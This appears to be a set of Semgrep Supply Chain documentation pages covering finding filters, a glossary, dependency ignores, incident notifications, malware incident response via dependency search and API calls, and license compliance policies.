Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT\_NAME/REPOSITORY\_NAME, while local repositories are identified as local\_scan/REPOSITORY\_NAME.
### Custom **Priority** tab
Semgrep admins can create a custom priority definition to change the criteria for the findings shown on the **Priority** tab:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **navigation bar**, click **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)**. Ensure that you're viewing the **Priority** tab.
Using the provided filters, set your parameters for priority findings.
Click **Save**.
You'll see a dialog asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
## Filter findings
There are multiple grouping and filtering options available to you regardless of whether you use the **Priority** findings view or the **All** findings view.
### Time period
The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive. It is a filter operation that precedes other filters on the page. For example, if you select both **Last triaged** and **Status Open**, no findings appear because, by definition, there are no triaged findings that are also open.
The following filters are available:
* Triage state update action:
* Opened in
* Triaged in
* Fixed in
* Time period:
* Last day
* Last 7 days
* Last 30 days
* Last 3 months
* Last 6 months
* Last year
* All time
### Project
The **Project** filter allows you to search for findings associated with the selected projects.
### Status
The **Status** filter allows you to search for findings in the selected statuses, which are the triage states of the findings:
* **Open**: Findings for which there have been no triage or remediation action.
* **Reviewing**: Findings that require more investigation to determine what the next steps should be.
* **To fix**: Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work.
* **Provisionally ignored**: Unreachable findings.
* **Ignored**: Vulnerabilities that have been triaged as **Ignored** by the user. You can filter findings with a status of **Ignored** further by reason: **False positive**, **Acceptable risk**, **No time to fix**, or **No triage reason**.
* **Closed**: Vulnerabilities that are no longer detected after a scan. This typically means that the dependency containing the vulnerability has been updated. Semgrep Supply Chain automatically checks if the dependency has been updated and sets the vulnerability's status as **Fixed**.
### Additional filters
Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
| Filter | Description |
| :----------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Severity** | The severity of a finding. Filters are based on the severity of a vulnerability. Semgrep Supply Chain rules use severity values set by the source of the rule, such as [GitHub Advisory Database](https://github.com/advisories). |
| [**Reachability**](#reachability) | The finding's exposure, or whether it is reachable. |
| [**EPSS probability**](#epss-probability) | The finding's [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/). |
| **Upgrade guidance (beta)** | The impact of a dependency upgrade on your project as determined by Semgrep Multimodal. |
| **Dependencies** | The name of the dependency involved. |
| **Advisory** | The vulnerabilities' ID number, such as CVE, GHSA, MAL, or keyword. |
| **Malicious dependency** | Whether the finding is for a malicious dependency. |
| **Project** | The tags associated with the project. |
| **Multimodal file risk level** | Filter by the risk level determined by Semgrep Multimodal. |
#### EPSS probability
The [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
* High: 50 - 100%
* Medium: 10 - \<50%
* Low: \<10%
#### Reachability
The finding's exposure to potential attacks, or whether it is reachable.
* **Reachable**: A finding is reachable if there's a vulnerable function call or vulnerable package in use. The finding should be addressed as soon as possible.
* **Malicious dependency**: A finding that indicates the use of a dangerous package, or dangerous version of a package, that are designed to compromise systems.
* **Reachable in code**: A finding is reachable in code if there's a code pattern in the codebase that matches the vulnerability definition.
* **Always reachable**: A finding is always reachable if it's something Semgrep recommends fixing, regardless of what's in the code.
* **Needs review**: A finding that requires manual triage and review. Follow the instructions provided.
* **Conditionally reachable**: A finding is conditionally reachable if Semgrep finds a way to reach it when scanning your code when certain conditions are met.
* **No Reachability Analysis**: A finding that Semgrep does not scan for reachability.
* **Unreachable**: No vulnerable function call found. This finding can be deprioritized.
#### Transitivity
The transitivity of the finding:
* **Direct**: Your project depends directly on the dependency.
* **Transitive**: Your project's dependency depends on a vulnerable dependency.
* **Undetermined**: Semgrep had no transitivity information for the dependency as it relates to your project.
#### Upgrade guidance (beta)
The impact of a dependency upgrade on your project as determined by Semgrep Multimodal:
* **Safe**: There are unlikely to be breaking changes introduced by the dependency upgrade.
* **Breaking**: The dependency upgrade likely introduces breaking changes, so code modifications are required.
## Group and sort findings
You can view findings individually or grouped by the rule that identified the finding.
By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
A specific finding in the code is called a **usage**. Vulnerability entries are sorted as cards by severity from critical to low, then from oldest to newest.
## Export findings
You can export findings to a **CSV** file. Semgrep can export the **10,000 most recent findings** when you request the report in Semgrep AppSec Platform:
On the **navigation bar**, go to **Supply Chain**.Click the ** icon**.
Semgrep filters do not apply to exports. The 10,000 most recent findings are exported to the CSV file regardless of the filters you apply on the **Findings page**.
To export more than 10,000 findings, you must use the [ Semgrep API's List code, supply chain, or AI-powered scan findings](https://docs.semgrep.dev/api-reference/findingsservice/list-code-supply-chain-or-ai-powered-scan-findings) endpoint.
| Field | Description |
| :-------------------- | :---------------------------------------------------------------------------------------------------------------------------------------- |
| Id | The unique ID number of the finding. |
| Rule name | The name of the rule. |
| Product | The Semgrep product. |
| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
| Status | The finding's triage status. |
| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
| Repository name | The name of the repository where Semgrep found the finding. |
| Repository URL | The repository URL. |
| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
| Created at | The time the finding was created in your timezone. |
| Last Opened at | The time the finding was last opened. |
| Branch | The name of the branch where the finding was detected. |
| Triaged at | The most recent time that the finding was triaged. |
| Triage comment | A triage comment created by the user. |
| Triage reason | The reason why the finding was triaged, created by the user. |
| Rule description | The description of the rule. This is the same as the rule's `message` key. |
The following fields are exclusive to **Supply Chain** scans:
| Field | Description |
| :----------- | :--------------------------------------------------------------------------------------------------------------- |
| Dependency | The name of the dependency where the finding was found. |
| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
| Transitivity | States whether the finding originates from a direct or transitive dependency. |
| CVE | The CVE number that the finding is assigned to. |
| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
## View details about a specific finding
To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
The [finding's details](/semgrep-supply-chain/finding-details) page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see.
## How Semgrep displays findings present on multiple branches
A **single** finding may appear in several branches. These appearances are called **instances** of a finding. Several instances of the same finding may differ in which line of code (LOC) they are on or in their triage state. For example, on `production` the finding may be on line 20, but the same finding was moved further to line 26 in `feature-branch-a`.
Semgrep automatically recognizes that they are fundamentally the same finding and deduplicates these instances so that you do not get an inflated count of findings per ref that the finding is present in.
By default, the Supply Chain page displays findings from the [primary branches](/deployment/primary-branch) of all repositories (projects), arranged by most recent scan. You are viewing the **primary branch's instance** of that finding, so you may see variations in LOC or triage state when comparing the finding across branches.
When filtering by primary branch and triage status, the filters are applied based on the **triage status of the finding on the primary branch**. This means that on some feature branches, the instance may already be **Fixed**, but on the primary branch, the finding is still **Open**. The finding status on the primary branch is updated when the PR or MR is merged and Semgrep has scanned the code.
**TIP**
* If you do not see any findings, or there are zero findings after a scan has concluded, check the **Projects** page to view the findings count, if any, and to set a [primary branch](/deployment/primary-branch), if it is not already set.
* The total count of findings in the **Projects** page is based on the **primary branch**.
# Semgrep Supply Chain glossary
Source: https://docs.semgrep.dev/semgrep-supply-chain/glossary
The terms and definitions provided here are specific to Semgrep Supply Chain.
## Advisory
Announcement of a vulnerability, typically but not always with an associated [Common Vulnerabilities and Exposures (CVE)](https://www.cve.org/) number. All Advisories can be found by Semgrep Supply Chain rules. [Advisories](/semgrep-supply-chain/advisories) can be seen on [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
## Dependency
Publicly available code used as a part of your application. Common examples include Flask, React, and Lodash. Each dependency is listed in a registry, such as npm for JavaScript and PyPI for Python.
## Exploitability
Exploitability is the practical assessment of a vulnerability's threat, typically proved with a real proof of exploit. Proving exploitability is often the last step of triaging a vulnerability.
## EPSS probability
The [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
* **High**: 50 - 100%
* **Medium**: 10 - \<50%
* **Low**: \<10%
## Lockfile
A lockfile describes a dependency tree to ensure that deployments and organizations install the same **dependencies and exact versions** for their codebase. Lockfile information includes versions of the dependency and any transitive (indirect) dependencies. Lockfiles are automatically generated by a package manager such as `pip` or `npm`.
Semgrep Supply Chain uses lockfiles as part of its analysis to determine the exact version of a dependency that a codebase is using.
## Rules without reachability analysis
Some Semgrep Supply Chain rules do not perform reachability analysis. These rules only check a package's version against versions with known vulnerabilities. These rules produce vulnerabilities similar to GitHub Dependabot's results, and have a higher false positive rate than reachability rules.
Compare its opposite: [Reachability-rules](#reachability-rules).
## Manifest file
A manifest file describes the dependencies used in your codebase. In a manifest file, a dependency may indicate a range of versions. A package manager reads the manifest file when installing dependencies into a specific implementation of your codebase, then generates a manifest file specifying the exact version of each dependency installed and any transitive dependencies.
Semgrep Supply Chain uses manifest files to resolve transitive dependencies for some languages. For more information, see [Supported languages](/supported-languages#semgrep-supply-chain).
## Package manager
A software tool that interacts with a package registry to download, upload, or search for dependencies. Package managers typically generate manifest files or lockfiles by analyzing manifest files.
## Package registry
A package registry stores dependencies and provides a means to upload or download dependencies. Each programming language has its own separate registry such as npm for JavaScript and PyPI for Python.
## Reachable finding (and reachable vulnerability)
A reachable finding means that you are using both a vulnerable code pattern (the **usage**) and the vulnerable version of a dependency. Within Semgrep Supply Chain, specific findings (usages) are grouped together by their vulnerability.
CI scans with Semgrep Supply Chain rules can block pull requests or merge requests upon detecting any reachable findings.
See also [Reachability](#reachability).
## Reachability
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
See [Overview of Semgrep Supply Chain](/semgrep-supply-chain/overview) to learn how Semgrep leverages its code-scanning and rule syntax capabilities to provide high-signal rules that determine a finding's reachability. This assists security engineers in remediation and triage processes.
## Reachability rules
A type of Semgrep Supply Chain rule that performs reachability analysis. A reachability rule can determine if the vulnerable code pattern from a dependency is used in the codebase that imports it.
Compare its opposite: [rules without reachability analysis](#rules-without-reachability-analysis)
## Software bill of materials (SBOM)
Software Bill of Materials (also known as 'Cyber Bill of Materials', CBOM) is an artifact produced by many software composition analysis tools. It enumerates the various components of a software artifact such as dependencies, licenses, and security statuses. SBOMs are typically generated for compliance purposes. Regularly, a security engineer or related role signs-off on the SBOM, meaning that they accept the security and legal risk of the associated artifact.
Semgrep Supply Chain can export a CycloneDX 1.4 XML/JSON-formatted SBOM.
## Threat
A threat is any malicious event that violates the security of an application or network. A threat can result in disrupted business operations and loss or theft of data.
See also [NIST definition of threat](https://csrc.nist.gov/glossary/term/threat).
## Transitive or indirect dependency
A transitive or indirect dependency is a dependency of a dependency. If your codebase uses a dependency A, and A is dependent on B, then B is a transitive dependency. An example would be a codebase that uses Cloudinary, which is dependent on Lodash. In this example, Lodash is a transitive dependency of the codebase.
For more information, see [Supported languages](/supported-languages#semgrep-supply-chain).
## Transitivity
Pertains to a dependency's relationship to your codebase or first-party code.
* **Direct**: Your project depends directly on the dependency.
* **Transitive**: Your project's dependency depends on a vulnerable dependency.
* **Undetermined**: Semgrep had no transitivity information for the dependency as it relates to your project.
## Upgrade available
An upgrade is available when the exact package identified in a finding has a fixed version that can be upgraded to.
Some advisories affect multiple packages, but not every affected package has its own fixed version. A finding only meets the **Upgrade available** condition when the package name in the finding has a fixed version under that exact package name. If the advisory has a fix for a different affected package, but not for the package used in your project, the finding is considered **Upgrade unavailable**.
See [Manage policies](/semgrep-supply-chain/policies#policy-conditions) to use upgrade availability as a policy condition.
## Usage
In Semgrep Supply Chain scans, a **usage** is a specific finding in your codebase where Semgrep has found a vulnerability. A vulnerability may have more than one usage, such as when a library is imported and used in many code files.
## Unreachable finding (and unreachable vulnerability)
An unreachable finding means that the dependency's version contains a known vulnerability, but the vulnerable code is not used within your codebase. Within Semgrep Supply Chain, specific findings (usages) are grouped together by their vulnerability.
## Vulnerability
A vulnerability is an unintentional flaw in a dependency that can be exploited. Vulnerabilities are assigned a CVE by the [MITRE corporation](https://cve.mitre.org/). Semgrep Supply Chain uses GitHub Security Advisory (GHSA) in categorizing the severity of a vulnerability.
# Ignore manifest files, lockfiles, and dependencies
Source: https://docs.semgrep.dev/semgrep-supply-chain/ignoring-dependencies
You can prevent specific code files, manifest files, or lockfiles from generating Supply Chain findings by excluding them in a `.semgrepignore` file.
To do this, [create a `.semgrepignore` file in your repository's root directory](/ignoring-files-folders-code/#define-ignored-files-and-folders-in-semgrep-appsec-platform). Then, add the paths of the files you want to exclude. The specific paths that you add to this file depend on your goal:
| Goal | Method |
| :------------------------------------------------------------------------------------------ | :-------------------------------------------------------------- |
| Prevent a code file from generating **reachable findings**. | Add the code file's path to `.semgrepignore`. |
| Prevent findings from being generated using the dependencies in a manifest file or lockfile | Add the manifest file's or lockfile's path to `.semgrepignore`. |
**Note:** Unreachable findings are only generated from manifest files or lockfiles, because Semgrep defines unreachable findings as the absence of a match in the code.
## Sample `.semgrepignore` configuration
Given a repository with the following files:
* A file `codefile_with_vuln.js` that generates reachable and unreachable findings due to a vulnerable dependency.
* A `package-lock.json` file that lists the vulnerable dependency.
Add `codefile_with_vuln.js` to `.semgrepignore` to ignore reachable findings from that file. Semgrep still generates findings from `package-lock.json`:
```
# .semgrepignore
codefile_with_vuln.js
```
Add `package-lock.json` to `.semgrepignore` so that Semgrep doesn't scan dependencies listed in this lockfile. This results in no Supply Chain findings generated from either `codefile_with_vuln.js` or `package-lock.json`:
```
# .semgrepignore
codefile_with_vuln.js
package-lock.json
```
# Ignore manifest files, lockfiles, and dependencies
Source: https://docs.semgrep.dev/semgrep-supply-chain/ignoring-deps
You can prevent specific code files, manifest files, or lockfiles from generating Supply Chain findings by excluding them in a `.semgrepignore` file.
To do this, [create a `.semgrepignore` file in your repository's root directory](/ignoring-files-folders-code/#define-ignored-files-and-folders-in-semgrep-appsec-platform). Then, add the paths of the files you want to exclude. The specific paths that you add to this file depend on your goal:
| Goal | Method |
| :------------------------------------------------------------------------------------------ | :-------------------------------------------------------------- |
| Prevent a code file from generating **reachable findings**. | Add the code file's path to `.semgrepignore`. |
| Prevent findings from being generated using the dependencies in a manifest file or lockfile | Add the manifest file's or lockfile's path to `.semgrepignore`. |
**Note:** Unreachable findings are only generated from manifest files or lockfiles, because Semgrep defines unreachable findings as the absence of a match in the code.
## Sample `.semgrepignore` configuration
Given a repository with the following files:
* A file `codefile_with_vuln.js` that generates reachable and unreachable findings due to a vulnerable dependency.
* A `package-lock.json` file that lists the vulnerable dependency.
Add `codefile_with_vuln.js` to `.semgrepignore` to ignore reachable findings from that file. Semgrep still generates findings from `package-lock.json`:
```
# .semgrepignore
codefile_with_vuln.js
```
Add `package-lock.json` to `.semgrepignore` so that Semgrep doesn't scan dependencies listed in this lockfile. This results in no Supply Chain findings generated from either `codefile_with_vuln.js` or `package-lock.json`:
```
# .semgrepignore
codefile_with_vuln.js
package-lock.json
```
# Supply Chain incident notifications and response
Source: https://docs.semgrep.dev/semgrep-supply-chain/incident-notifications
Get notifications in Slack when Semgrep declares a new Supply Chain incident, learn whether it affects your projects, and respond.
Semgrep's Security Research team monitors the open source ecosystem and responds in real time when a package is compromised, publishing an [Advisory](/semgrep-supply-chain/advisories) as soon as an incident is confirmed.
If you've configured the **Early notification for Supply Chain incidents** policy, Semgrep automatically posts to a Slack channel of your choosing within minutes of declaring the incident. You don't have to look for the news yourself: Semgrep checks the compromised package versions against your projects' most recent dependency data and tells you whether any of them are affected in the same notification.
You are notified every time Semgrep declares a new supply chain incident, whether or not any of your projects use the affected packages.
## Prerequisites
Ensure that:
* You have enabled [Slack notifications from Semgrep](/semgrep-appsec-platform/slack-notifications).
* Your organization uses [Unified Policies](/semgrep-appsec-platform/unified-policies/overview).
## Set up incident notifications
In your Slack workspace, find or create a channel for Semgrep notifications. Then, run `/semgrep_add_channel` in the channel to make it available to your policies. See [Receive Slack notifications](/semgrep-appsec-platform/slack-notifications#set-up-notifications-for-findings-in-slack) for more information.
In Semgrep AppSec Platform, go to **Rules & Policies > Policies**.
Find the policy named **Early notification for Supply Chain incidents**. Click its ** icon**, then select **Edit policy**.
Go to **Actions**. Click **Add action > Send a Slack message**, and select the Slack channel you configured at the beginning of the setup process.
Click **Update**.
You will be redirected back to the **Remediation** policies page. Click the policy's ** icon**, then select **Enable policy**.
## What to do during an incident
Every notification includes a **View incident advisories** button that takes you to the [Advisories](/semgrep-supply-chain/advisories) page, filtered to that incident. A **View blog post** button appears when Semgrep has published a blog post about the incident.
Click **View incident advisories** to see the list of related advisories, including compromised packages and versions.
If your notification lists affected projects, [initiate a scan](/kb/semgrep-supply-chain/incident-response#3-initiate-scans-on-potentially-affected-projects-with-semgrep-rules) on them to confirm and get up-to-date findings.
Remove or upgrade any compromised dependencies you find, then re-scan to confirm the findings clear. See [Detect and remove malicious dependencies](/semgrep-supply-chain/malicious-dependencies#triage-and-remediation-for-malicious-dependencies) for remediation guidance.
## Related reading
# Respond to a malware incident with Semgrep Supply Chain
Source: https://docs.semgrep.dev/semgrep-supply-chain/incident-response
How to respond to a malicious dependency incident using Semgrep Supply Chain.
## 0. Configure notifications for supply chain incidents
Configure [Supply Chain incident notifications and response](/semgrep-supply-chain/incident-notifications) so Semgrep proactively posts to Slack within minutes of declaring an incident and tells you whether any of your projects are affected. If you've already set this up, you can skip the following manual steps and go straight to the notification's **View incident advisories** button.
The rest of this document describes the manual process, which is useful if you haven't configured notifications or want to investigate a package independently of an automatic notification.
## 1. Check the results from your most recent full scan
Semgrep maintains a record of the dependencies in your project. This record is updated whenever a full scan runs. As soon as you have reason to be concerned, check this record to see if the affected packages and versions were present in your environment at the time of the scan.
You can do this [in Semgrep AppSec Platform using the **Dependencies** tab and its dependency search functionality](#find-malicious-versions-of-packages-with-dependency-search), or you can [use the Semgrep API](#find-malicious-versions-of-packages-using-the-semgrep-api).
### Find malicious versions of packages with dependency search
The [dependency search](https://semgrep.dev/orgs/-/supply-chain/t/dependencies) allows you to search for:
* A package using its name, such as `gitdb2`
* A specific version of a package
* A range of versions, such as `tar` versions between 4.0 and 5.0
To search for dependencies, enter the dependency name and press **Enter** or **Return**. You can also search for multiple packages simultaneously. Your search returns a list of matches, but you can then filter your results further by version number:
Click the name of your dependency to open the **Dependency** dialog:
To search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
To search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
Click **Apply** to save your changes and see your results.
You can also use the **Advanced search** to search for specific versions of dependencies:
Click **Advanced search**.
Enter the **Dependency** name.
To specify a **version** number, click **Exact match**. For a range, click **Range** and provide the minimum and maximum versions.
**Optional**: to search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
**Optional**: to search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
**Tip**: If you know the query parameter, you can view your dependencies by navigating directly to your results:
```console theme={null}
# sample URL
https://semgrep.dev/orgs/-/supply-chain/t/dependencies?q=lodash%40%>4.17
```
### Find malicious versions of packages using the Semgrep API
You can use the Semgrep API to find matching malicious package versions in your projects using the following endpoints:
* [List dependencies](/api-reference/v1/supplychainservice/list-dependencies)
* [Create a new SBOM export job](/api-reference/v1/supplychainservice/list-dependencies)
#### List dependencies
Use this endpoint to search for specific packages and versions across your deployment. You can filter by ecosystem and specify version ranges or exact versions.
```bash expandable theme={null}
curl -L -g 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/dependencies' \
-H 'accept: application/json' \
-H 'authorization: Bearer ' \
-H 'Content-Type: application/json' \
-d '{
"dependencyFilter": {
"ecosysystem": [
"npm"
],
"packageFilters": [
{
"name": "lodash",
"versionLowerBound": ">4.17"
},
{
"name": "jridgewell-resolve-uri-latest",
"exactVersion": "9999.999.999"
}
]
},
"deploymentId":
}'
```
#### Create a new SBOM export job
Use this endpoint to generate a Software Bill of Materials (SBOM) for a specific repository. This is a multi-step process: first create an export job, then poll for its completion to retrieve the download URL.
**Step 1: Create the export job**
```bash theme={null}
curl -L 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/sbom/export' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer ' \
-d '{
"deploymentId": ,
"repositoryId": ,
"sbomOutputFormat": "SBOM_OUTPUT_FORMAT_JSON"
}'
```
This returns a task token that you'll use to check the job status:
```json theme={null}
{
"taskToken": ""
}
```
**Step 2: Poll for job completion**
Use the task token from Step 1 to check the export job status:
```bash theme={null}
curl -L 'https://semgrep.dev/api/v1/deployments/{your_deployment_id}/sbom/export/{TASK_TOKEN_FOR_EXPORT_JOB}' \
-H 'Authorization: Bearer '
```
When the job completes, the response includes a signed download URL:
```json theme={null}
{
"status": "SBOM_EXPORT_STATUS_COMPLETED",
"downloadUrl": "https://s3.amazon.com/signed/url/to/download/sbom"
}
```
You can then download the SBOM from the provided URL.
## 2. Verify that your next scan includes rules for the incident
For all major security incidents, the Semgrep Security Research team responds within one business day, typically within four hours, and delivers rules to all customer accounts to check for malicious package versions.
Due to time zones, holidays, and the sometimes subjective nature of incident severity, contact [Semgrep support](/support) to verify that we are actively working on a rule in response to a malware incident.
Otherwise, wait for a notification from Semgrep through regular channels, such as Slack, that the rules related to the incident have been deployed.
## 3. Initiate scans on potentially affected projects with Semgrep rules
If the malicious version of the dependency was introduced after the scan, your projects could be affected even if the most recent scans showed no findings.
Furthermore, running a full scan with Semgrep rules provides clear visibility into affected repositories and branches across all scanned code. See [View results from your Semgrep scans](#4-view-results-from-your-semgrep-scans) for more information.
### Initiate scans with Semgrep Managed Scanning
Even if you're using Semgrep Managed Scans, you can choose to run full scans on potentially affected repositories manually:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and go to the **Projects** page.
Select the projects of interest.
Click **Run a new scan > Rule-based detection** to start scans on the repositories that may be affected. For example, in an `npm` package compromise, Semgrep recommends scanning any project that might contain JavaScript.
### Initiate scans in your CI/CD pipelines
If you're running scans in your CI/CD pipelines, manually trigger a Semgrep scan of any projects that might be impacted.
### Initiate a local scan
If you have large repositories or difficulty accessing your CI/CD system, it might be most efficient to run a local scan. To do so, navigate to the directory where you want to run the scan, then choose one of the following commands:
* Run `semgrep ci --supply-chain` if the repository is checked out using Git. This uploads findings to Semgrep AppSec Platform. **Note**: to view findings in Semgrep AppSec Platform, you must be logged in *before* running a scan. Log in by running `semgrep login`.
* Run `semgrep scan --config supply-chain .` if you want to scan without a Git checkout. In this mode, findings are available for local review and are not sent to Semgrep AppSec Platform.
### Scan results
Regardless of the method you use to scan your project, the findings generated are, by default, of **Critical** severity and **Always Reachable**. Any workflows or automation set up using Supply Chain policies or a ticketing system such as Jira are automatically triggered by these findings, so notifications are sent to developers immediately.
## 4. View results from your Semgrep scans
Semgrep AppSec Platform displays all affected projects and their findings after your scans complete using the new rules. To see this information:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
Using the **Advisory** filter, provide the relevant CVE or keywords. If a CVE ID hasn't been assigned, use the ID provided by Semgrep.
Click the advisory in the results list to open up the **Advisory Details** dialog.
Go to **Affected projects**.
If Semgrep provides you with a direct link in a notification, such as a Slack message, you can use that to view the same information.
To search for an advisory by package name, click on the advisory in the list and open the **Advisory Details** dialog. If there are no findings for the rules run on the projects scanned, Semgrep shows **No findings**.
Before concluding you're not affected, verify that the rules corresponding to the incident were included in recent scans.
If there are results, Semgrep shows the number of findings by project, as well as the breakdown of which branches in the codebase are impacted. You can click the number of findings to go to the **Findings** page, where you will see a list of results for that project's branch.
## 5. Remove any malicious versions and re-scan your project
Once the incident's impact is clear, immediately remove the malicious dependency from your codebase, including all repositories and branches. The fastest way to do it is often to downgrade to an uncompromised version.
It is essential to follow any other response steps specific to the incident, which could involve changes to CI/CD workflows, internal package registries, and other aspects of your software supply chain.
Once you've completed your incident response, re-run a Supply Chain scan on the same set of repositories and verify that the outcome shows no findings for the malicious advisory.
## 6. Block the introduction of malicious packages
To reduce the frequency of such issues, [create Supply Chain policies](/semgrep-appsec-platform/unified-policies/get-started#create-a-remediation-policy) to block the introduction of malicious package versions.
## 7. Additional steps
Depending on the particulars relevant to the incident, other steps may also be recommended. Refer to the [Semgrep blog](https://semgrep.dev/blog/) or to messages from [Support](/support) for the latest updates.
# License compliance
Source: https://docs.semgrep.dev/semgrep-supply-chain/license-compliance
**PREREQUISITE**
At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/set-up-and-configure).
Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license.
Whenever Semgrep determines that a dependency or version with a disallowed package has been added, it can notify you of this in a pull request or merge request comment.
## Language support
Licenses are detected based on the **package manager** used. See [Supported languages](/supported-languages/#semgrep-supply-chain) for a list of supported package managers.
## Types of license policies
Licenses in Semgrep can be assigned any of the following policies:
| Policy | Description |
| :------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Allow** | Packages with licenses assigned this type of permission are allowed for use in the codebase. |
| **Comment** | Packages with licenses assigned this type of permission are allowed for use in the codebase. A comment is added to the PR or MR introducing the package into the codebase. This permission can be useful when you want to remind or warn developers to use certain licenses for internal use only. |
| **Block** | Packages with licenses assigned this type of permission are not allowed into the codebase. A comment is added to the PR or MR introducing the package into the codebase and the diff-aware scan exits with code 1. |
By default, all licenses are set to **Allow**. You must configure your policies to block or leave comments on licenses.
License compliance only blocks or comments when new licenses are introduced in a PR or MR, by dependency addition or version change. However, you can see the license status of current dependencies in the Semgrep AppSec Platform under **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)** > **Dependencies**, using the [search filters](/semgrep-supply-chain/dependency-search#search-filters).
## View license policy
To view a package's license policy:
[Sign in to Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **[Rules & Policies > Policies > Detection](https://semgrep.dev/orgs/-/detection)**.
Go to the **Supply Chain licenses** section, and click **Edit**.
Review the information displayed on the **Supply Chain license configuration** page.
## Change the license policy
To change the policies of packages based on the license:
[Sign in to Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **[Rules & Policies > Policies > Detection](https://semgrep.dev/orgs/-/detection)**.
Browse the available licenses listed on the **Supply Chain license configuration** page. The licenses are grouped by category, so click the category name to expand and display the list of licenses included.
Click the permission (**Allow**, **Comment**, or **Block**) you want to set the license to.
**Optional**: Block entire categories of licenses by clicking on the **Set all to** drop-down box next to the license category.
## License information
License information is often stored in the package's repository alongside the source code. You can generally find this information in:
* A license file, such as `LICENSE` or `LICENSE.txt`
* The manifest file, such as the `pyproject.toml` or `package.json`, which typically specifies a `license` field
Semgrep uses [deps.dev](https://deps.dev/) as the primary source for license data, which is then displayed in Semgrep AppSec Platform.
[deps.dev](https://deps.dev/) aggregates license metadata from package registry APIs, such as PyPI and npm. This metadata is provided by package maintainers through their manifest files and may be missing, incomplete, or inaccurate. If the license data displayed in Semgrep AppSec Platform for a particular package is missing or doesn't show the expected value, the data provided by the package maintainer to populate the package registry API is likely incomplete or incorrect.
In addition to deps.dev, Semgrep currently uses [Packagist](https://packagist.org/) for PHP licenses and [Rubygems](https://rubygems.org/) for Ruby licenses.
For SwiftPM, Semgrep detects licenses asynchronously by attempting to retrieve the data from the source repository. This method is best-effort and delays detection capability until after the first scan. See support details and caveat at [Features for supported languages](/semgrep-supply-chain/requirements-and-feature-support#features-for-supported-languages).
## License categories
Semgrep Supply Chain can identify the following licenses and license categories.
### Popular Weak-copyleft licenses
Software using packages with weak copyleft licenses may have to maintain the same license as the package. To determine if this applies to your project, consult your legal department. Developers typically choose these packages based on individual preferences, so usage should be monitored to ensure license compliance.
* LGPL-3.0
* LGPL-2.1
* MPL-2.0
* EPL-2.0
* OSL-3.0
* EUPL-1.2
### Popular Copyleft licenses
Software using packages with copyleft licenses **must** maintain the same license as the packages. To prevent license complications, developers often avoid packages using these licenses.
* GPL-3.0
* GPL-2.0
* AGPL-3.0
* AGPL-2.0
* CC-BY-SA-4.0
* APSL
### Popular Permissive licenses
Packages with permissive licenses have minimal restrictions on how they can be used or modified. This makes permissive licenses popular among developers for their flexibility, ease of use, and lack of legal concerns.
* MIT
* Apache-2.0
* BSD-3
* BSD-2
* BSD-3-Clause
* BSD-2-Clause
* CC\_BY-4.0
* WTFPL
* MS-PL
* Unlicensed
### Other licenses
